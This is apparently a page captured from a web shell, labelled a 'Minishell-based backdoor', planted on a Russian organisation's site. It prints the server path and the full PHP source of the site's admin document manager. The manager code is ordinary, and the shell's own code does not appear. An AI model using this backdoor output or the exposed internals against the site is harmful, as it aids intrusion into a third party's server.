Cyber Anakins Lightsaber - A Minishell-based backdoor

Current Path : /home/bjb2293782/xn--80abaeoqbbrbgf8aea5a2a2z.xn--p1ai/docs/
Upload File :
Current File : /home/bjb2293782/xn--80abaeoqbbrbgf8aea5a2a2z.xn--p1ai/docs/documents.php

<?php
require("design.php");

define("IS_UTF8", true);

function UTF8ToFile($file)
{
	if (!IS_UTF8) return UTF8ToWin1251($file); else return $file;
}

function FileToUTF8($file)
{
	if (!IS_UTF8) return Win1251ToUTF8($file); else return $file;	
}

session_start();


function delTree($dir)
{ 
    $files = array_diff(scandir($dir), array('.', '..')); 

    foreach ($files as $file)
    { 
       if (is_dir("$dir/$file")) delTree("$dir/$file"); else unlink("$dir/$file"); 
    }

    return rmdir($dir); 
} 


if (isset($_POST['action']))
{
	if (!AdminAuth(RIGHT_SUPER_ADMIN)) die("ERROR: Доступ закрыт!");


	if ($_POST['action'] == "mkdir")
	{
		$path = _POST_('path');
		$name = trim(_POST_('name'));

		if ($name == '') die("ERROR: Введите название папки!");
		if (!preg_match("|^documents|", $path) || preg_match("|/\.\.|", $path)) die("ERROR: Неверный путь!");

		$path = UTF8ToFile($path);
		$name = UTF8ToFile($name);

		if (preg_match("|\|/\\\\*\?|", $name)) die("ERROR: Запрещённые символы в названии папки!");

		

		$fullPath = "$path/$name";
		if (!@mkdir($fullPath)) die("ERROR: Не удалось создать папку `$fullPath`!");
		@chmod("$fullPath",0777);

		die("OK");
	}

	if ($_POST['action'] == "renamedir")
	{
		$path = _POST_('oldName');
		$name = _POST_('newName');

		if ($name == '') die("ERROR: Введите название папки!");
		if (!preg_match("|^documents|", $path) || preg_match("|/\.\.|", $path)) die("ERROR: Неверный путь!");

		$path = UTF8ToFile($path);
		$name = UTF8ToFile($name);

		if (preg_match("|\|/\\\\*\?|", $name)) die("ERROR: Запрещённые символы в названии папки!");
        
		if (!preg_match("|^(.*/)[^/]+$|", $path,$g)) die("ERROR: Не удалось разобрать путь!");

		$newName = $g[1] . $name;
		if (!@rename($path, $newName)) die("ERROR: Не удалось переименовать папку!");
		die("OK");
	}


	if ($_POST['action'] == "rename")
	{
		$path = _POST_('oldName');
		$name = _POST_('newName');

		if ($name == '') die("ERROR: Введите название папки!");
		if (!preg_match("|^documents|", $path) || preg_match("|/\.\.|", $path)) die("ERROR: Неверный путь!");
		if (preg_match("|\|/\\\\*\?|", $name)) die("ERROR: Запрещённые символы в названии файла!");
        
		if (!preg_match("|^(.*/)[^/]+$|", $path,$g)) die("ERROR: Не удалось разобрать путь!");
		$newName = $g[1] . $name;

		$path = UTF8ToFile($path);
		$newName = UTF8ToFile($newName);


		if (!@rename($path, $newName)) die("ERROR: Не удалось переименовать файл!");
		die("OK");
	}


	if ($_POST['action'] == "rmdir")
	{
		$path = _POST_('path');

		if (!preg_match("|^documents|", $path) || preg_match("|/\.\.|", $path)) die("ERROR: Неверный путь!");

		$path = UTF8ToFile($path);

		delTree($path);

		die("OK");
	}

	if ($_POST['action'] == "rm")
	{
		$path = _POST_('path');

		if (!preg_match("|^documents|", $path) || preg_match("|/\.\.|", $path)) die("ERROR: Неверный путь!");

		$path1251 = UTF8ToFile($path);

		if (!@unlink($path1251)) die("ERROR: Не удалось удалить файл $path");

		die("OK");

	}

	if ($_POST['action'] == "upload")
	{
		$path = _POST_('path');
		if (!preg_match("|^documents|", $path) || preg_match("|/\.\.|", $path)) die("ERROR: Неверный путь!");


        for($i=0; $i < count($_FILES['files']['name']); $i++)
        {
        	$fileName = $_FILES['files']['name'][$i];
        	if (preg_match("/(\/[^\/]+)$/",$fileName, $g)) $fileName = $g[1];
        	$fileName = preg_replace("/\.\./m","--",$fileName);

        	$fileName = preg_replace("/\\\/m","-",$fileName);
        	$fileName = preg_replace("/\*\?\|\+/m"," ",$fileName);

        	$fullFileNameUTF8 = "$path/$fileName";

        	
        	$fullFileName = UTF8ToFile($fullFileNameUTF8);

			if (move_uploaded_file($_FILES['files']['tmp_name'][$i], $fullFileName))
			{
				chmod($fullFileName, 0666);
			}
			else
				die("ERROR: Не удалось залить файл `$fullFileNameUTF8`!");
			
		}
		
		die("OK");
	}











	die("ERROR: Неверный запрос!");
}





TOP(-1);


LEFTCOLUMN();
CHANNELS();
MAINCOLUMN();
?>


<h1>Документы</h1>

<style>
.doc
{
	margin-top:4px;
	margin-bottom:4px;
	text-indent:-22;
	margin-left:20;
}

.plus
{
	border:1px solid #6699CC;
	padding:2 2 2 2;
	cursor:pointer;
	border-radius:3px;
}

table.folder
{
	cursor:pointer;
}

table.folder:hover
{
	transition-property: background-color;
    transition-duration: 500ms;	
    background-color:#cceeff;
}

td.folder
{
	font-size:22px;
	color:#336699;
	font-weight:bold;
}

table.filedoc
{
	cursor:pointer;
	margin-bottom:5px;
}

td.filedoc
{
	font-size:16px;
}	


</style>	

<div class=doc><img src='linkicon.png' class=img16x16> <a href='https://bus.gov.ru/agency/75178' target=_blank>Общая информация</a></div>
<div class=doc><img src='linkicon.png' class=img16x16> <a href='https://bus.gov.ru/agency/75178/tasks/9905327' target=_blank>Информация о государственном (муниципальном) задании и его исполнении</a></div>
<div class=doc><img src='linkicon.png' class=img16x16> <a href='https://bus.gov.ru/agency/75178/plans' target=_blank>Информация о плане финансово-хозяйственной деятельности</a></div>
<div class=doc><img src='linkicon.png' class=img16x16> <a href='https://bus.gov.ru/agency/75178/operations/' target=_blank>Информация об операциях с целевыми средствами из бюджета</a></div>
<div class=doc><img src='linkicon.png' class=img16x16> <a href='https://bus.gov.ru/agency/75178/annual-balances-F0503721' target=_blank>Отчет о финансовых результатах деятельности учреждения (ф. 0503721)</a></div>
<div class=doc><img src='linkicon.png' class=img16x16> <a href='https://bus.gov.ru/agency/75178/annual-balances-f0503737' target=_blank>Отчет об исполнении учреждением плана его финансово-хозяйственной деятельности (ф. 0503737)</a></div>
<div class=doc><img src='linkicon.png' class=img16x16> <a href='https://bus.gov.ru/agency/75178/annual-balances-f0503762' target=_blank>Сведения о результатах учреждения по исполнению государственного (муниципального) задания (ф. 0503762)</a></div>
<div class=doc><img src='linkicon.png' class=img16x16> <a href='https://bus.gov.ru/agency/75178/reports' target=_blank>Информация о результатах деятельности и об использовании имущества</a></div>
<div class=doc><img src='linkicon.png' class=img16x16> <a href='https://bus.gov.ru/agency/75178/measures' target=_blank>Сведения о контрольных мероприятиях и их результатах</a></div>

<br><br>

<?php

$GLOBALS['fileEnum'] = 0;
function DocList($subpath)
{
	$canEdit = AdminAuth(RIGHT_SUPER_ADMIN);
	$dir = @opendir("documents$subpath");
	if ($dir)
	{
		while($file = readdir($dir))
		{
			if ($file!="." && $file!=".." && preg_match("/^\d+$/", $file))
			{
				$fullPath = "documents$subpath/$file";
				if (is_dir($fullPath))
				{
					$fileEnum = $GLOBALS['fileEnum'];
					$utf8=FileToUTF8($file);
					$fullPathUTF8 = FileToUTF8("documents$subpath/$file");


					$plus = 'plus.gif';
					$display = 'display:none';

					if (isset($_GET['dir']))
					{
						if ($_GET['dir']==$fullPathUTF8)
						{
							print "<a name=a></a>";
							$plus = 'minus.gif';
							$display='';
						}
					}

					print "<table class=folder id=folderElm$fileEnum><tr>";
					print "<td onclick='folderClick($fileEnum)'><img src='$plus' class=plus id=plus$fileEnum></td>";
					print "<td onclick='folderClick($fileEnum)'><img src='folder24x24.png' width=24 height=24></td>";
					print "<td onclick='folderClick($fileEnum)' class=folder id=folder$fileEnum>$utf8</td>";

					if ($canEdit)
					{
						print "<td nowrap>";
						print "<img src='edit.png' title='Переименовать' class=editBtn2 onclick='renameFolder($fileEnum, \"$fullPathUTF8\")'>";
						print "<img src='del32x32.png' title='Удалить' class=editBtn2 onclick='delFolder($fileEnum, \"$fullPathUTF8\")'>";
						print "</td>";
					}
					print "</tr></table>\n";
					print "<div style='padding-left:32px; $display' id=inner$fileEnum>\n";
					$GLOBALS['fileEnum']++;

					DocList("$subpath/$file");


					print "\n</div>\n";
				}
			}	
		}
		closedir($dir);
	}



	$dir = @opendir("documents$subpath");
	if ($dir)
	{
		while($file = readdir($dir))
		{
			if ($file!="." && $file!=".." && !preg_match("/^\d+$/", $file))
			{
				$fullPath = "documents$subpath/$file";
				if (is_dir($fullPath))
				{
					$fileEnum = $GLOBALS['fileEnum'];
					$utf8=FileToUTF8($file);
					$fullPathUTF8 = FileToUTF8("documents$subpath/$file");


					$plus = 'plus.gif';
					$display = 'display:none';

					if (isset($_GET['dir']))
					{
						if ($_GET['dir']==$fullPathUTF8)
						{
							print "<a name=a></a>";
							$plus = 'minus.gif';
							$display='';
						}
					}

					print "<table class=folder id=folderElm$fileEnum><tr>";
					print "<td onclick='folderClick($fileEnum)'><img src='$plus' class=plus id=plus$fileEnum></td>";
					print "<td onclick='folderClick($fileEnum)'><img src='folder24x24.png' width=24 height=24></td>";
					print "<td onclick='folderClick($fileEnum)' class=folder id=folder$fileEnum>$utf8</td>";

					if ($canEdit)
					{
						print "<td nowrap>";
						print "<img src='edit.png' title='Переименовать' class=editBtn2 onclick='renameFolder($fileEnum, \"$fullPathUTF8\")'>";
						print "<img src='del32x32.png' title='Удалить' class=editBtn2 onclick='delFolder($fileEnum, \"$fullPathUTF8\")'>";
						print "</td>";
					}
					print "</tr></table>\n";
					print "<div style='padding-left:32px; $display' id=inner$fileEnum>\n";
					$GLOBALS['fileEnum']++;

					DocList("$subpath/$file");


					print "\n</div>\n";
				}
			}	
		}
		closedir($dir);
	}


	$dir = @opendir("documents$subpath");
	if ($dir)
	{
		while($file = readdir($dir))
		{
			if ($file!="." && $file!="..")
			{
				$fullPath = "documents$subpath/$file";
				if (!is_dir($fullPath))
				{
					$utf8=FileToUTF8($file);
					$fullPathUTF8 = FileToUTF8("documents$subpath/$file");

					$fileEnum = $GLOBALS['fileEnum'];
					print "<table class=filedoc id='fileElm$fileEnum'><tr>";
					print "<td><a href='$fullPathUTF8' target=_blank id=docIcon$fileEnum><img src='doc.png' width=16 height=16></a></td>";
					print "<td class=filedoc><a href='$fullPathUTF8' data-href='$fullPathUTF8' target=_blank title='Открыть' id=doc$fileEnum>$utf8</a></td>";

					print "<td nowrap>";
					print "<a href='$fullPathUTF8' download='$utf8' title='Скачать' id='download$fileEnum'><img src='download.png' class=editBtn2></a>";
					print "</td>";

					if ($canEdit)
					{
						print "<td nowrap>";
						print "<img src='edit.png' title='Переименовать файл' class=editBtn2 onclick='renameFile($fileEnum)'>";
						print "<img src='del32x32.png' title='Удалить файл' class=editBtn2 onclick='delFile($fileEnum)'>";
						print "</td>";
					}
					
					print "</tr></table>\n";
					$GLOBALS['fileEnum']++;
				}
			}	
		}
		closedir($dir);
	}

	$subpath = FileToUTF8($subpath);
	if ($canEdit) print "<center style='margin-top:10; margin-bottom:20'>[ <a href='#' onclick='addFile(\"documents$subpath\");return false'>Добавить файл</a> ] [ <a href='#' onclick='addFolder(\"documents$subpath\");return false'>Новая папка</a> ]</center>\n";
}

DocList("");

?>

<script>
function folderClick(id)
{
	var inner = document.getElementById('inner'+id);
	var plus = document.getElementById('plus'+id);

	if (inner.style.display=="")
	{
		inner.style.display="none";
		plus.src="plus.gif";
	}
	else
	{
		inner.style.display="";
		plus.src="minus.gif";
	}	
}
</script>


<?php

$canEdit = AdminAuth(RIGHT_SUPER_ADMIN);
if ($canEdit) { ?>
<script>

function addFolder(subpath)
{
	var dlg = openDialogBox("Создать папку");

	dlg.innerElement.style.width=500;
	dlg.innerElement.style.height=100;
	dlg.innerElement.style.textAlign="left";

	var form = dlg.innerElement.appendChild(document.createElement('FORM'));
	form.innerHTML = "Введите название папки:<br>";
	var editor = form.appendChild(createInput('text'));
	editor.style.width="100%";
	
	var center = form.appendChild(document.createElement('CENTER'));
	center.style.paddingTop=16;
	var submitBtn = center.appendChild(createInput('submit'));
	submitBtn.value = "Создать";

	var btn = center.appendChild(createInput('button'));
	btn.value = "Закрыть";
	btn.onclick=function() { dlg.close(); }

	form.onsubmit = function(e)
	{
		if (e.preventDefault) e.preventDefault();

		var post = 'action=mkdir';
		post+='&path='+encodeURIComponent(subpath);
		post+='&name='+encodeURIComponent(editor.value.trim());

		submitBtn.disabled=true;

		sendXHR('documents.php',post,
			function()
			{
				location = "documents.php?dir="+encodeURIComponent(subpath+'/'+editor.value.trim())+'#a';
			},
			function(error)
			{
				submitBtn.disabled=false;
				errorBox(error);
			});	
		return false;
	};
	editor.focus();
	dlg.alignInScreenCenter();
}



function addFile(subpath)
{
	var dlg = openDialogBox("Добавить файл");

	dlg.innerElement.style.width=500;
	dlg.innerElement.style.height=100;
	dlg.innerElement.style.textAlign="left";

	var form = dlg.innerElement.appendChild(document.createElement('FORM'));

	form.innerHTML = "Выберите файлы (или перетащите сюда):<br>";
	var fileEditor = form.appendChild(createInput('file'));
	fileEditor.name="files[]";
	fileEditor.accept=".pdf,.jpg,.jpeg,.png,.gif,.zip,.txt,.doc,.docx,.xls,.xlsx,.ppt,.pps,.pptx,.ppsx";
	fileEditor.multiple = true;
	fileEditor.style.width="100%";

	fileEditor.onchange = function()
	{
		doSubmit();
	}
	
	var center = form.appendChild(document.createElement('CENTER'));
	center.style.paddingTop=16;
	var submitBtn = center.appendChild(createInput('submit'));
	submitBtn.value = "Отправить";

	var btn = center.appendChild(createInput('button'));
	btn.value = "Закрыть";
	btn.onclick=function() { dlg.close(); }

	var doSubmit = function(e)
	{
		if (e && e.preventDefault) e.preventDefault();

		var formData = new FormData(form);
		formData.append('action','upload');
		formData.append('path',subpath);
		submitBtn.disabled=true;

		sendXHR('documents.php',formData,
			function(response)
			{
				console.log(response);
				location = 'documents.php?dir='+encodeURIComponent(subpath)+'&rnd='+Math.random()+'#a';
				//location.reload();
			},
			function(error)
			{
				submitBtn.disabled=false;
				errorBox(error);
			},
			40000);	
		return false;
	};

	form.onsubmit = doSubmit;
	dlg.alignInScreenCenter();
}


function renameFolder(n, oldName)
{
	var folderA = document.getElementById('folder'+n);
	var folderName = folderA.innerText.trim();

	var dlg = openDialogBox("Переименовать папку");

	dlg.innerElement.style.width=500;
	dlg.innerElement.style.height=100;
	dlg.innerElement.style.textAlign="left";

	var form = dlg.innerElement.appendChild(document.createElement('FORM'));
	form.innerHTML = "Введите новое название папки:<br>";
	var editor = form.appendChild(createInput('text'));
	editor.value=folderName;
	editor.style.width="100%";
	
	var center = form.appendChild(document.createElement('CENTER'));
	center.style.paddingTop=16;
	var submitBtn = center.appendChild(createInput('submit'))
	submitBtn.value = "Переименовать";

	var btn = center.appendChild(createInput('button'))
	btn.value = "Закрыть";
	btn.onclick=function() { dlg.close(); }

	form.onsubmit = function(e)
	{
		if (e.preventDefault) e.preventDefault();

		var post = 'action=renamedir';
		post+='&oldName='+encodeURIComponent(oldName);
		post+='&newName='+encodeURIComponent(editor.value.trim());

		submitBtn.disabled=true;

		sendXHR('documents.php',post,
			function(response)
			{
				console.log(response);
				var path = '';
				var g = oldName.match(/^(.*)\/[^\/]+$/);
				if (g) path = g[1];

				location = "documents.php?dir="+encodeURIComponent(path)+'#a';
			},
			function(error)
			{
				submitBtn.disabled=false;
				errorBox(error);
			});	
		return false;
	};
	editor.focus();
	dlg.alignInScreenCenter();
}


function renameFile(n)
{
	var fileA = document.getElementById('doc'+n);
	var oldName = fileA.dataset.href;
	var docName = fileA.innerText.trim();

	var dlg = openDialogBox("Переименовать файл");

	dlg.innerElement.style.width=500;
	dlg.innerElement.style.height=100;
	dlg.innerElement.style.textAlign="left";

	var form = dlg.innerElement.appendChild(document.createElement('FORM'));
	form.innerHTML = "Введите новое название файла:<br>";
	var editor = form.appendChild(createInput('text'));
	editor.style.width="100%";
	editor.value=docName;
	
	var center = form.appendChild(document.createElement('CENTER'));
	center.style.paddingTop=16;
	var submitBtn = center.appendChild(createInput('submit'))
	submitBtn.value = "Переименовать";

	var btn = center.appendChild(createInput('button'))
	btn.value = "Закрыть";
	btn.onclick=function() { dlg.close(); }

	form.onsubmit = function(e)
	{
		if (e.preventDefault) e.preventDefault();

		var newName = editor.value.trim();

		var oldExt = '';
		var newExt = '';
		var g = oldName.match(/\.([^\.]+)$/);
		if (g) oldExt = g[1].toLowerCase()

		g = newName.match(/\.([^\.]+)$/);
		if (g) newExt = g[1].toLowerCase();
		
		if (newExt!=oldExt)
		{
			newName+='.'+oldExt;
			editor.value=newName;
		}	
		


		var post = 'action=rename';
		post+='&oldName='+encodeURIComponent(oldName);
		post+='&newName='+encodeURIComponent(newName);

		submitBtn.disabled=true;

		sendXHR('documents.php',post,
			function()
			{
				var path = '';
				var g = oldName.match(/^(.*)\/[^\/]+$/);
				if (g) path = g[1];

				var fullName = path + '/'+newName;

				var downloadA = document.getElementById('download'+n);
				var iconA = document.getElementById('docIcon'+n);

				fileA.href=fullName;
				iconA.href=fullName;
				fileA.dataset.href=fullName;
				fileA.innerHTML = _html_(newName);
				downloadA.href=fullName;
				downloadA.download = newName;
				dlg.close();
			},
			function(error)
			{
				submitBtn.disabled=false;
				errorBox(error);
			});	
		return false;
	};
	editor.focus();
	dlg.alignInScreenCenter();
}


function delFile(n, oldName)
{
	var fileA = document.getElementById('doc'+n);
	var oldName = fileA.dataset.href;
	var docName = fileA.innerText.trim();

	yesNoDialog('Удалить файл "'+docName+'"?','Удаление файла',
		function()
		{
			sendXHR('documents.php','action=rm&path='+encodeURIComponent(oldName),
				function()
				{
					var elm = document.getElementById('fileElm'+n);
					elm.parentNode.removeChild(elm);
				},
				function(error)
				{
					errorBox(error);
				});	
		});
}


function delFolder(n, oldName)
{
	var fileA = document.getElementById('folder'+n);
	var docName = fileA.innerText.trim();

	yesNoDialog('Удалить папку "'+docName+'" и всё ее содержимое?','Удаление папки',
		function()
		{
			sendXHR('documents.php','action=rmdir&path='+encodeURIComponent(oldName),
				function()
				{
					var elm = document.getElementById('folderElm'+n);
					elm.parentNode.removeChild(elm);

					elm = document.getElementById('inner'+n);
					elm.parentNode.removeChild(elm);
				},
				function(error)
				{
					errorBox(error);
				});	
		});
}
</script>

<?php
}

MIDDLECOLUMN2();
print "<center><table><tr><td>";
ACTUALLINKS('actualLinksH');
print "</tr></td></table></center>";
FAQ();

MIDDLECOLUMN();
CHANNELS("channelBlockH");
RIGHTCOLUMN();

ACTUALLINKS();
FAQ();

?>




<?php BOTTOM(); ?>

May the force be with you, always.